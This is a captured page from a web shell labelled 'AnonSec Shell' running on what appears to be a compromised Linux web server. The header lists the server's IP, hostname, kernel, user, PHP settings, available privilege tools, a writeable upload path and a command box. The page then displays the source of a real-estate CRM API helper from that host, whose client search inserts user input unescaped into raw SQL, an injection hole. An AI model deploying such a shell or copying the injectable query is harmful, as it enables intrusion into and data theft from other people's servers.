AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/helpers/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/helpers/api/GPTBrokerHelper.php
<?php

include_once "APIUtils.php";

class GPTBrokerHelper {

    private $apiUtils;

    public function __construct() {
        $this->apiUtils = new APIUtils();
    }

    public function realtorLogin(){
        $filter = $this->apiUtils->getInputFilter();

        try {
            $realtor = $this->apiUtils->userLogin($filter);
        } catch (Exception $e) {
            return $this->apiUtils->apiError(401, $e->getMessage());
        }
        
        $output = array(
            "results" => ["token" => $realtor['autologin']]
        );

        return $output;
    }


    public function searchClient(){
        $filter = $this->apiUtils->getInputFilter();

        if(empty($filter["token"])){
            return $this->apiUtils->apiError(401, "Token obrigatório");
        }

        if(empty($filter["client_name"])){
            return $this->apiUtils->apiError(412, "Nome do cliente obrigatório");
        }

        $user = ORM::for_table('sys_users')
            ->where('autologin', $filter["token"])
            ->find_one();
        if(!$user){
            return $this->apiUtils->apiError(401, "Token inválido");
        }

        $clients = ORM::for_table('module_imobles_deals')
            ->table_alias('d')
            ->select_expr('d.id as deal_id, d.title as deal_title, a.id as client_id, a.account, a.fname, a.lname, a.company, a.jobtitle, a.phone, a.email, a.created_at')
            ->left_outer_join('crm_accounts', 'd.crm_account_id = a.id', 'a')
            ->where('d.seller_id', $user->id)
            ->where('d.status_id', 1)
            ->where_lt('d.sale_stage_id', 8)
            ->where_raw("(d.title LIKE '%" . $filter['client_name'] . "%' or a.account LIKE '%" . $filter['client_name'] . "%')")
            ->find_array();

        $output = array(
            "results" => $clients
        );

        return $output;
        
    }


    public function saveTask(){
        $filter = $this->apiUtils->getInputFilter();

        if(empty($filter["token"])){
            return $this->apiUtils->apiError(401, "Token obrigatório");
        } else {
            $user = ORM::for_table('sys_users')
                ->where('autologin', $filter["token"])
                ->find_one();
            if(!$user){
                return $this->apiUtils->apiError(401, "Token inválido");
            }
        }

        if(empty($filter["crm_account_id"])){
            return $this->apiUtils->apiError(401, "ID da Conta é Obrigatório");
        } else {
            $crmAccountID = $filter["crm_account_id"];
        }

        if(empty($filter["deal_id"])){
            return $this->apiUtils->apiError(412, "Deal ID obrigatório");
        } else {
            $deal = ORM::for_table('module_imobles_deals')
                ->where("crm_account_id", $crmAccountID)
                ->find_one($filter["deal_id"]);
            if (!$deal){
                return $this->apiUtils->apiError(412, "Deal não localizado para o ID e Conta informados");
            }
        }

        if(empty($filter["income_msg"])){
            return $this->apiUtils->apiError(412, "Mensagem obrigatória");
        } else {
            $incomeMsg = $filter["income_msg"];
        }

        if(empty($filter["task_date"])){
            return $this->apiUtils->apiError(412, "Data da tarefa obrigatória");
        } else {
            $taskDate = date($filter["task_date"]);
        }

        if(empty($filter["task_type"])){
            $taskType = null;
        } else {
            $taskType = $filter["task_type"];
        }

        try {
            $task = ORM::for_table('module_imobles_deal_tasks')->create();
            $task->created_at = date('Y-m-d H:i:s');
            $task->title = $incomeMsg;
            $task->description = $incomeMsg;
            $task->deal_id = $deal->id;
            $task->due_date = $taskDate;
            $task->type = $taskType;
            $task->created_by = $user->id;
            $task->created_at = date('Y-m-d H:i:s');
            $task->save();
            
            $output = array(
                "results" => ["task" => $task->as_array()]
            );
    
            return $output;
        } catch (Exception $e) {
            return $this->apiUtils->apiError(412, "Erro inesperado: " . $e->getMessage());
        }

    }


    public function saveNote(){
        $filter = $this->apiUtils->getInputFilter();

        if(empty($filter["token"])){
            return $this->apiUtils->apiError(401, "Token obrigatório");
        } else {
            $user = ORM::for_table('sys_users')
                ->where('autologin', $filter["token"])
                ->find_one();
            if(!$user){
                return $this->apiUtils->apiError(401, "Token inválido");
            }
        }

        if(empty($filter["crm_account_id"])){
            return $this->apiUtils->apiError(401, "ID da Conta é Obrigatório");
        } else {
            $crmAccountID = $filter["crm_account_id"];
        }

        if(empty($filter["deal_id"])){
            return $this->apiUtils->apiError(412, "Deal ID obrigatório");
        } else {
            $deal = ORM::for_table('module_imobles_deals')
                ->where("crm_account_id", $crmAccountID)
                ->find_one($filter["deal_id"]);
            if (!$deal){
                return $this->apiUtils->apiError(412, "Deal não localizado para o ID e Conta informados");
            }
        }

        if(empty($filter["income_msg"])){
            return $this->apiUtils->apiError(412, "Mensagem obrigatória");
        } else {
            $incomeMsg = $filter["income_msg"];
        }

        try {
            $note = ORM::for_table('module_imobles_deals_notes')->create();
            $note->crm_account_id = $crmAccountID;
            $note->msg = $incomeMsg;
            $note->deal_id = $deal->id;
            $note->created_at = date('Y-m-d H:i:s');
            $note->created_by = $user->id;
            $note->save();

            $output = array(
                "results" => ["note" => $note->as_array()]
            );
    
            return $output;
        } catch (Exception $e) {
            return $this->apiUtils->apiError(412, "Erro inesperado: " . $e->getMessage());
        }

    }

}

Anon7 - 2022
AnonSec Team